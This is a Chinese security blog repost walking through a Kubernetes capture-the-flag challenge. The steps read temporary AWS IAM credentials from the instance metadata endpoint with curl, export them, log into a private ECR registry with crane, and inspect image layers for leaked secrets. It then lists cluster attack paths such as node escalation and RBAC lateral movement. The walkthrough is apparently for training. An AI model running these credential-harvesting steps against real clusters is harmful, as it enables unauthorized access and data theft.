从零开始:K8s安全测试与漏洞挖掘-8

admin 2024年12月20日10:24:08评论9 views字数 1274阅读4分14秒阅读模式

在这一挑战中,参与者需要深入到一个Pod的容器镜像中,检查其Elastic Container Registry (ECR)存储库中的图层,并从中找出隐藏的秘密。这个任务与之前的Registry Hunt类似,但这次重点放在了AWS ECR上。

技术点:

  • Kubernetes Pods 和 Secrets:理解如何列出和获取Pods及其关联的秘密。

  • Docker镜像元数据:熟悉Docker镜像的历史记录,包括构建命令。

  • AWS IAM角色和权限:了解如何通过实例元数据服务(IMDS)获取IAM凭证,并使用这些凭证与AWS资源交互。

  • ECR操作:掌握如何登录到ECR、拉取镜像以及查看镜像的详细信息。

  • Crane工具:用于处理容器镜像的CLI工具。

步骤与命令:

  1. 列出并检查Pod详情

    • 使用kubectl get pods命令来列出所有Pod。

    • 选择目标Pod后,利用kubectl get pod <pod-name> -o json获得更详细的规格说明。

  2. 提取ECR镜像URL

    • 在Pod详情中找到使用的ECR镜像URL,例如688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:...

  3. 从IMDS获取临时IAM凭证

    • 请求节点实例的角色名称:curl http://169.254.169.254/latest/meta-data/iam/security-credentials

    • 获取具体凭证信息:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

    • 设置环境变量以便后续使用:

      bash

      深色版本

      export AWS_ACCESS_KEY_ID=$(echo $TOKEN | jq -r '.AccessKeyId')
      export AWS_SECRET_ACCESS_KEY=$(echo $TOKEN | jq -r '.SecretAccessKey')
      export AWS_SESSION_TOKEN=$(echo $TOKEN | jq -r '.SessionToken')
  4. 生成ECR密码并登录

    • PASSWORD=$(aws ecr get-login-password)

    • crane auth login <ecr-url> -u AWS -p $PASSWORD

  5. 检查镜像元数据和层

    • 使用crane config <image>查看镜像配置。

    • 注意镜像历史部分可能包含敏感信息或构建时的秘密。

  6. 发现并读取flag文件

    • 如果镜像中有任何文本文件如flag.txt,可以直接用cat命令读取。

实战挖掘点:

未授权访问EKS集群中的私有Docker镜像仓库

从Kubernetes Pod内部提升权限至EKS节点级别

利用错误配置的服务账号权限读取敏感S3桶数据

利用Kubernetes API Server暴露的端点进行信息泄露

通过Kubernetes RBAC漏洞实现跨命名空间横向移动

 欢迎关注

原文始发于微信公众号(黑伞安全):从零开始:K8s安全测试与漏洞挖掘-8

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月20日10:24:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从零开始:K8s安全测试与漏洞挖掘-8https://cn-sec.com/archives/3525802.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息